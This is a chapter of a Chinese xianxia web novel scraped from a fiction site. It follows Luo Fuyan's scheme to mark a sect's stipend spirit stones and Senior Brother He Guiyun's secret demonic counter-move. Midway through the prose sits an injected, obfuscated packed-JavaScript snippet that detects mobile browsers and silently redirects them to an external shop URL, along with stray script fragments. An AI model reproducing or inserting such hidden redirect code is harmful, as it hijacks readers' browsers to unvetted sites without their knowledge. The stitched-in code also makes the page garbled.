文趣网 > 其他小说 > 我与宿敌称兄道弟 > 3. 天命
    一人一笔相对无言。

    半晌。

    “如果我直接去找他,和他说我体谅大师兄处理剑峰琐事辛苦,愿分担发放月例一事,”洛拂言不切实际地幻想着,“他会不会把这件事给我干?”

    答案显而易见。

    莫说是现在的贺归云,即便是百年前结束游历锦衣归宗的贺归云,也不太可能答应他。

    洛拂言还记得贺归云刚回来的那晚,自己站在高楼上,回首垂眸,一眼望见长廊中身负双剑的剑修。

    对方身形挺拔,器宇轩昂,分明生得英俊非凡,面上却挂着拒人于千里之外的冷意,连周遭仙灯落下的火光都暖不了那似有若无的寒霜。

    这人的剑气必然凛冽锐利,所向披靡。

    一定是一个持身周正,诛邪除恶,卓然不群的剑修。

    洛拂言心想。

    他笑着看向对方。

    视线相撞。

    剑修竟是面色一沉,倏地瞥开眼去,跟着引路弟子前行,再无停步。

    洛拂言原以为对方只是有什么急事。

    可他后来又在剑峰见到了这位大师兄,大师兄依然不怎么正眼看他。

    因此洛拂言很清楚,贺归云从一开始就不太喜欢他。

    更遑论之后。

    阿竹完全不抱希望,转来转去,打算另寻他法:“要不然我们费点功夫守在发灵石的地方,直接在来领灵石的人身上留下灰烬?”

    “如果被发现的话,狡辩就好了!”

    “那些不亲自来领的人怎么办呢……”

    “……”

    “我还是想试一试,”洛拂言独自沉思许久,忽而坐起身来,“找个人在发月例那天把贺归云拖住,说不定我们就有机会对灵石动手脚了。”

    阿竹笔头一歪:“找谁?”

    ……

    数日后。

    辰宿仙宗,主峰。

    不同于剑峰漫山松林,遍地崎岖小路,弟子们的居所都零零散散地坐落在林间,主峰四方皆有丈余宽的白玉阶穿过几重山门直上峰顶,玉阶两侧绵延无数小道,通达亭台楼阁。

    其间坐落风格不一的仙修居所,雕梁画栋,云雾缭绕,灵植错落有致,仙兽穿行其中。

    凡人话本中所写之仙家恢弘,远不足此地十分之一。

    洛拂言踏过三重山门,来到高处。

    有人已经等在那。

    他身着锦衣华服,金冠束发,腰间环佩叮当,身姿俊逸,剑眉星目,端的是一副人间贵公子模样。

    眼见洛拂言到了,屈无惑直接几步踏下门前台阶迎他,又笑又招手:“洛师弟!”

    阿竹看了看屈无惑这身行头,又看了看洛拂言身上,除了每个修士都有的灵囊之外,只挂着一朵花和它这一支笔。

    它顿觉惨淡。

    洛拂言这些年奔波于天命,换了许多身份,接触不少法宝名器和奇珍异宝。可洛拂言不觉得自己属于那些身份,再多的奇珍异宝都没有带走。

    只有一部分法宝名器,烙印了洛拂言的气息,按理来说该随着洛拂言从前的身份死去而消失,洛拂言没办法还回去,便留了下来。

    但是这些法宝与洛拂言从前的身份有关,万一被人识出,麻烦不小,因此不能随意在人前使用。

    现在洛拂言身上的一切,皆是来辰宿后所获之物,哪里能比得过眼前之人?

    “我们去支个卜卦摊子挣点灵石吧!”

    人靠衣装,阿竹决定发挥唯一的本领为洛拂言锦上添花。

    “他好气派!”

    洛拂言为屈无惑鸣不平:“以屈无惑的出身来看,他这样明明已经很低调了!”

    屈无惑那可是堂堂气运钟爱的天之骄子。

    他降生时便很是不凡,千年仙门屈氏附近仙兽齐鸣,天现异象,彩霞翻滚,直接引来了辰宿宗宗主、仙圣奚神音亲至。

    经由一番问卜,奚神音断言这孩子有通神之缘。

    屈无惑刚刚成年入道,她便派人将这位屈氏二少主接到辰宿主峰,收为亲传弟子。

    洛拂言就是那时被观天卷唤醒,接到新的天道指令。

    天命推演得知星洲大陆将迎来灭世大劫,辰宿弟子屈无惑乃命定应劫救世之人。

    但屈无惑出身太好,天赋太高,怕是一世顺遂,道心不坚,难担重任。

    洛拂言需拜入辰宿宗,与屈无惑相识相交,待到时机成熟后,以嫉妒屈无惑为由成为屈无惑修行路上的绊脚石,同他攀比,阻挠他针对他,借此磨炼他的道心,助他拥有足以应劫救世的实力。

    简而言之,如果说屈无惑是戏文里万人敬仰的天命之子,那洛拂言就是那个坏事做尽惨死收场的反角。

    洛拂言完成过不少类似的天命。

    ——可那些加起来都没有这一次难!!!

    这一次需要完成的天命不仅涉及灭世大劫,还必须在众多仙道高手眼皮子底下行事,行的还是坏事!

    稍有不慎,后果难料。

    正是因此,洛拂言才想尽快寻到另一位因果神器契主。

    他虽不知对方是何情形,但他已经领了个反角的活,天道没必要再安排人做一样的事,另一位因果神器契主的职责应当是表里如一地相助天命之子。

    洛拂言做了恶人,另一位契主正好做个好人。

    来日等他和屈无惑反目,另一位契主站在屈无惑这边,可以和他互相配合,互通消息,洛拂言下手和善后都能稳妥许多。

    寻人本就是为了促成天命,那么让屈无惑这个天命之子来帮忙,也无可厚非嘛!

    洛拂言打好算盘,笑着上前:“屈师兄。”

    “我刚从家中回来,带了点东西正打算给你。若不是见到你的传信化物,我已经往剑峰去了。”

    屈无惑拿出一封浸满花香的书信递给他。

    “这是……?”

    “我堂妹托我转交给你的书信。她七年前同家中长辈拜访辰宿,上山时与踏阶而下的你擦肩而过。你没留意到行于屈氏族人中的她,她却对你一见难忘,至今魂牵梦绕白玉阶上那一眼,因而托我这次回宗门,把她亲笔写的信交给你,希望从你这得个回音。”

    洛拂言没接。

    屈无惑嘀咕着收回书信。

    “我早就和她说过你从不理会这些,非得央我来试试……”

    他揽着洛拂言往一旁的石亭里走,“还有一物。”

    洛拂言怕他拿出的东西一山还比一山高,赶忙道:“我想和屈师兄商量件事,如果不是什么重要的物件,姑且先放……”

    “你尝尝这些。”

    屈无惑已经拉着洛拂言在石桌旁坐下,从灵囊中拿出了一盘被灵力存护得极好的吃食。

    “……放下这些吃的,”洛拂言耐心突增,话锋一转,“我们边吃边聊。”

    “我记得你素来爱吃人间的冰糖葫芦,我新学了一些不同花样的冰糖葫芦做法,师弟帮我品鉴品鉴。”

    屈无惑抓起一根冰糖葫芦塞给洛拂言,掏出自己多年以来亲笔记下的食谱。

    他紧紧盯着洛拂言,一旦洛拂言吃的时候露出些微不同的表情,他便立即分析原因,并在糖葫芦的做法旁批注可改进之处。

    阿竹瞧他那钻研食谱比记法诀还专心的模样,不由得为洛拂言这个需要培养天命之子的恶人捏把汗。

    可一转眼又瞧见“恶人”手中抓着一根已经空了的竹签,腮帮子鼓起,正在寻觅下一口吃什么。

    “……”

    竹笔在石桌下飘起,用力戳了洛拂言手臂一下。

    “唔,”洛拂言又吃了两口,才说,“屈师兄明日若是得闲,可否帮我一个小忙?”

    “明日我有的是时间,”屈无惑豪爽道,“同门之间哪有什么帮不帮的,就算是上刀山下火海我也陪你去!”

    洛拂言眼珠子一转,故作平常道:“前几日我和贺归云斗法,他多学了不少新招,我差点没接住。师兄明日能不能去找他切磋切磋,切磋久一点,学一学他的剑招,偷偷告诉我……”

    如此说不定能拖住贺归云一时半刻。

    屈无惑神情一僵:“找贺师兄切磋学剑啊……”

    也许是因为在外历练太久,贺归云虽剑术一绝,却向来只知如何出剑制敌,完全不知道如何练出的制敌本领。

    剑峰大师兄不会教人,传授师弟师妹们剑招的唯一方式,就是用同一个剑招打到习者记住。

    只要打不死,就往死里打。

    这和主动受刑有什么区别?!

    更别提——

    “如果贺师兄发现我帮你套他的招式,他能一剑把我穿成冰糖葫芦!”

    “他不会知道的!”洛拂言保证。

    “你上次让我帮你偷摘他院子里的灵果吃,你也是这么说的,”屈无惑只觉往事不堪回首,“结果贺师兄发现了,把整棵树的灵果都摘下来,说我既然喜欢吃,不如全吃了。”

    屈无惑又想起了吃撑的痛苦,迅速收好桌上的空玉盘,起身想溜。

    “师弟我想起来我明日还有其他事不多说了——”

    洛拂言掠步到他面前,又加了个筹码:“我记得师兄一直想做出昆山杏桂鱼,但这道菜是西仙域昆境山门仙厨的不传之秘。”

    屈无惑刹住脚步。

    “我知道怎么做,”他上一次天命的身份就是昆境仙门弟子,“可以偷偷告诉你,只要你不与其他人说这菜谱来源就好。”

    屈无惑瞬间动容。

    他装模作样地犹豫了一会,随即再次灵囊中取出堂妹的书信,说:“若是洛师弟能帮我写回信给她,无论什么内容……”

    洛拂言已接过那封信,爽快道:“好说!”

    他当场就拿出纸笔,把书信放在一边,自顾自挥毫落笔。

    屈无惑:“?”

    不用先把书信拆开看看吗?

    ……

    杨丘,屈氏。

    屈三小姐正盘坐屋内修行法诀,窗户却被传信化物敲响。

    她想到先前托二哥屈无惑送的书信,登时收了法诀起身开窗。

    一只泛着绯红灵力的纸蝴蝶飞到她的手中。

    修士传信各有法门,音信化作的物品不同,屈无惑的传信化物是纸老虎。

    这只浅绯蝴蝶……显然来自那位风华绝世的洛仙师!

    也不知里面是拒绝之言,还是绵绵之语。

    她忐忑地打开传信。

    纸蝴蝶悠悠摊开,化作一张书册大小的信笺。

    上面只有走笔极为俊逸潇洒的两个字——

    “回信”。

    “?”

    “……”

    “。”

    这时,一只纸老虎紧随着跑进窗子里,传来屈无惑的嗓音:“二哥给你要到洛师弟的回信了二哥厉害吧——”

    “啪!”

    纸老虎被一掌拍扁,没了声音。

    ……

    次日。

    几名负责协助大师兄分发月例的弟子来到贺归云的屋舍门前,撞见了来找贺归云指教剑法的屈无惑。

    “同门,”其中一人看了几眼屈无惑里三层外三层的法袍,忍不住问,“剑峰虽因剑意较盛,比诸峰冷些,但你需要穿这么厚来抗冻吗?”

    “不抗冻,”屈无惑视死如归道,“抗打。”

    其他人:“?”

    “吱呀——”

    守门的杂役弟子抱着装满灵石的灵囊推门而出,递给那几名剑峰弟子:“大师兄说,他要与主峰这位屈师兄对招,分发月例一事就拜托诸位师兄了。”

    众人豁然开朗,不约而同朝屈无惑投去敬畏的目光。

    屈无惑:“……”

    剑修们一个个轮着对屈无惑抱拳告别,这才拿着灵囊办事去。

    分发月例本就不是什么大事,弟子们有说有笑地下山,走着走着,却见天青色身影迎面上山走来。

    洛拂言挡住他们的去路,做作地惊讶道:“今日是发月例灵石的日子,怎么不见大师兄?大师兄把此事托付给几位师兄了?”

    众人如临大敌,同时退后了一步。

    谁不知道洛师弟和大师兄的关系?

    这时候又是拦路又提大师兄,不对劲!非常不对劲!

    有人委婉道:“洛师弟,这么巧啊,不知洛师弟喊我们,所为何事啊?”

    洛拂言开门见山:“那当然是为了找茬。”

    “……”

    好合理。

    众人面面相觑。

    “你要……怎么找茬啊?”又有人问。

    洛拂言说:“我要清点一下月例,万一少了一颗,那就是大师兄处事不当,我就可以找师门长辈们告他的状!”

    几名弟子狠狠地松了口气。

    大师兄处事一向公正,只有可能多了灵石,绝无可能少了,洛师弟清点也清点不出什么。

    这样的找茬不会害了师兄,还能满足师弟,实在是太让人放心了!

    他们主动打开灵囊,倒出灵石给洛拂言清点。

    果不其然,灵石数目不多不少,毫无问题。

    洛拂言面露失望。

    几个剑修不禁安慰了他几句“不要气馁”“再接再厉”“下次还有机会”,这才离去。

    洛拂言瞧着他们离去的背影,面上失望之色一扫而空,双手叉腰,笑道:“搞定!我刚才趁着清点灵石,已经把灰烬沾到所有灵石上啦。”

    “等灵石分发下去,只要有人动用了因果神器之力,我们便能马上知晓。”

    有人欢喜有人愁。

    观天卷在他面前摊开,书卷的长度比之前整整短了一半。

    “不能再撕了!!!”

    阿竹哀嚎不已。

    “上一次天命,为了让你成功假死脱身,我从身上撕了好大一块幻化出你的替身,替你入昆境仙门杀阵。”

    “这一次为了烧出足够的灰烬,又撕了好多。”

    “虽然我能重新长出来,但这也是需要时间的!”

    它以为洛拂言会安慰它。

    可洛拂言似乎还在回想方才所为,垂眸沉吟片刻,喃喃道:“不过屈无惑撒谎向来不行,我都准备好应对看穿后赶来的贺归云了……结果屈无惑居然撑了这么久?这么顺利吗?”

    阿竹:“……”

    ……</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935140|213709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    屈无惑并不是撑了很久,而是压根没撑。

    他跟着杂役弟子入内,还没走出几步,一团巴掌大的云雾飘来。

    杂役弟子接过贺归云的传信化物,“咦”了一声:“大师兄让屈师兄稍等。”

    屈无惑微愣。

    贺归云鲜少这般应了人又突然晾着人。

    他朝不远处贺归云所在的院落看去。

    只见结界笼罩而下,谁也看不清里头是何情形。

    当吾川主陆羌一袭黑衣,腰挂魔域川主令,大摇大摆地站在剑峰大师兄的院内,举目张望了一会刚刚立起来的结界。

    他不确定道:“少主,你这个结界会不会立得太敷衍了,我都能随手击碎,哪里能拦得住剑峰主的探查?薛见机要是知道我站在这里,天机剑出鞘,我可不敢接。”

    贺归云正衣冠周正地端坐于长廊栏边。

    灵气萦绕他身周,携仙山清风轻扯他袖领,却撇不下他一点风采,折不落他丝毫庄谨。

    气质清谡得连手中的魔域玉简都沾了光,被衬得如同仙门道法书卷。

    他垂眸看着陆羌这几日查出来的消息,漫不经心道:“我倒觉得陆川主没什么不敢的。毕竟你身为魔域一川之主,毫无遮拦地潜入仙宗,现身在我这个剑峰首徒的面前,若是再迟来一刻,和奚仙圣的爱徒正面相逢,届时川主不仅可以领教我师父冠绝星洲的天机剑,还能同公认当世第一的奚宗主一较长短,见识仙圣法相,着实是一箭双雕。”

    “……你先前便想了解屈家的封魔诛邪阵,屈家这小子找你领教,你肯定是要探一探的。我是怕你们一旦过招起来不知要多久,所以急着赶在他进来前见你。”

    “师父封闭五感闭关多年,”贺归云这才回答他,“结界是防剑峰其他同门的。”

    陆羌稍稍放心。

    可他听了满耳朵贺归云的冷嘲热讽,转眼又瞧见贺归云仙风道骨地坐在耀耀天光下,话语间一口一个“师父”“仙圣”“同门”地和他这个魔域下属相谈,顿时别扭得不行。

    他没忍住,问:“‘贺仙师’在其他仙修面前这样令人仰止就罢了,在死敌面前难道也一直这般道貌岸然?”

    魔域的死敌不必说,仙域的死敌呢?

    难不成符少主和仙修生死相搏,还要端着个无用的霁月清风仙师架子吗?

    陆羌不可避免地想到一人。

    “譬如那位与你处处作对的小师弟……他知道你的真面目吗?”

    贺归云满目淡漠,翻看玉简之举未停,玉简收滚之速却愈来愈慢。

    他眼底倒映的是玉简上的字句,心中所思却未必身在此间。

    陆羌迟迟没等来他开口。

    就在陆羌以为他不可能理会这个问题之时。

    贺归云蓦地轻笑一声。

    邪魔的血肉总算悄然爬出这仙神般的身骨。

    “会知道的。”

    他顿了顿。

    “——起码在他死前,我会让他知道的。”

    陆羌登时噤若寒蝉。

    贺归云却在这时将玉简随手一扔,古井无波般道:“照玉简上所说,魔域那几位都不像是安排魔修潜入剑峰之人,生取精血和碎魂裂魄的咒术也没有寻到蛛丝马迹。”

    “那你便是什么都没查到,让我看了一堆废话。”

    他分明没有显出丝毫怒意,仿佛在说什么稀松平常之事,陆羌却神色一凛,顿时收了散漫之态,急忙解释:“这……没有答案也算是一种答案,说明派人潜入仙宗的是个连魔域都不知其存在的高手。少主杀的那个魔修只是马前卒,剑峰多半还有其他藏得更深的人。”

    “属下之所以带上当吾川水来拜见少主,就是想从剑峰再揪出一两个线索,以便顺藤摸瓜。”

    陆羌展开掌心,一团比墨还深的黑气在他掌心之上翻滚。

    魔域十四川其实是十四个深不见底的深渊,深渊底部时时刻刻冒出浓如实质的魔气,如同浓墨成川、渊水翻腾。

    川水非水,而是取自魔渊深处,最为珍贵稀少最为纯粹的魔气。

    陆羌恭敬地呈上川水。

    他与贺归云亦主从亦友地相处了许多年,自是明白什么时候是“友”,什么时候又只是“从”。

    他躬身行礼,肃声道:“不知少主有没有法子,让剑峰所有弟子都接触一下川水?若是寻常仙修,至纯魔气根本进不去他们体内,反而会立刻被灵气排斥,自行消散于天地间,留不下一点痕迹。”

    “可若是个魔修,藏得再深,隐瞒身份之法再厉害,猝不及防接触到川水,定会下意识将其吸纳入体。以少主对剑峰的了解与掌控,要得知川水去处,应当不难……”

    贺归云略微思索:“今日正好是剑峰发放月例的日子。”

    他将川水摄入手中,袖袍一挥,拿出许多灵石。

    灵石吸入川水,冒出森森黑气。

    他又拿出了一个状若残卷的东西,其上金光涌动,似蕴含无尽道法,显然不是魔域之物。

    却也不是辰宿仙门之物。

    陆羌不知贺归云是从何处得到这个残卷的,只知道残卷之上似乎蕴含极为玄奥的天地因果之力,虽无毁天灭地之能,却能触及世间本源规则。

    寻常人就算得了此等神物,怕是用都不知道怎么用。

    可贺归云不仅深耕剑道,在符道上的领悟力也堪称变态。这么多年下来从残卷上悟到了些许符文,再用符文反哺残卷,得以完全利用其本源之力,构筑出足以偷天换日骗过道法规律的幻象。

    符少主身处仙门这么久,日日在一众仙门高手面前大摇大摆地走来走去,应当也是靠这残卷编织出的幻象,藏住了魔修体质。

    这玩意能让贺归云看上去和寻常仙修无异,对付一点川水自是不在话下。

    眨眼间,金光所照,灵石之上的黑气骤然消弭于无形。

    川水还附着在灵石上,并没有散去。

    它们只是“看”不到了。

    贺归云将这些灵石收入灵囊中,径直出了结界,瞬息现身于那几名分发月例灵石的弟子面前。

    弟子们刚拜别洛拂言,来到理事堂外,还没开始分发月例。

    “大师兄?”

    “方才给的灵石清点有误,我重新清点了一份。”

    贺归云把那些藏着川水的灵石递给他们,将装着洛拂言动过手脚的灵石的灵囊摄入手中。

    “有劳诸位师弟。”

    弟子们:“……?”

    洛师弟刚清点一遍,贺师兄又清点一遍,宗门突然变得这么严谨了吗?

    而且,洛师弟刚才清点的时候,没发现问题啊?

    弟子们茫然四顾,满肚子困惑却问不出口。

    ——大师兄已带着原先那份灵石走了。

    弟子们打眼望去,唯有层云如浪,长松似潮。

    人间早已金秋,仙山绿意盎然。

    洛拂言坐在满目翠青的溪边,收整了一下准备当做见面礼的灵囊,而后在灵囊之上布下传信术法。

    等阿竹感应到另一个因果神器契主是谁,术法便会将他准备的灵囊化作蝴蝶,使其飞到那位道友身边。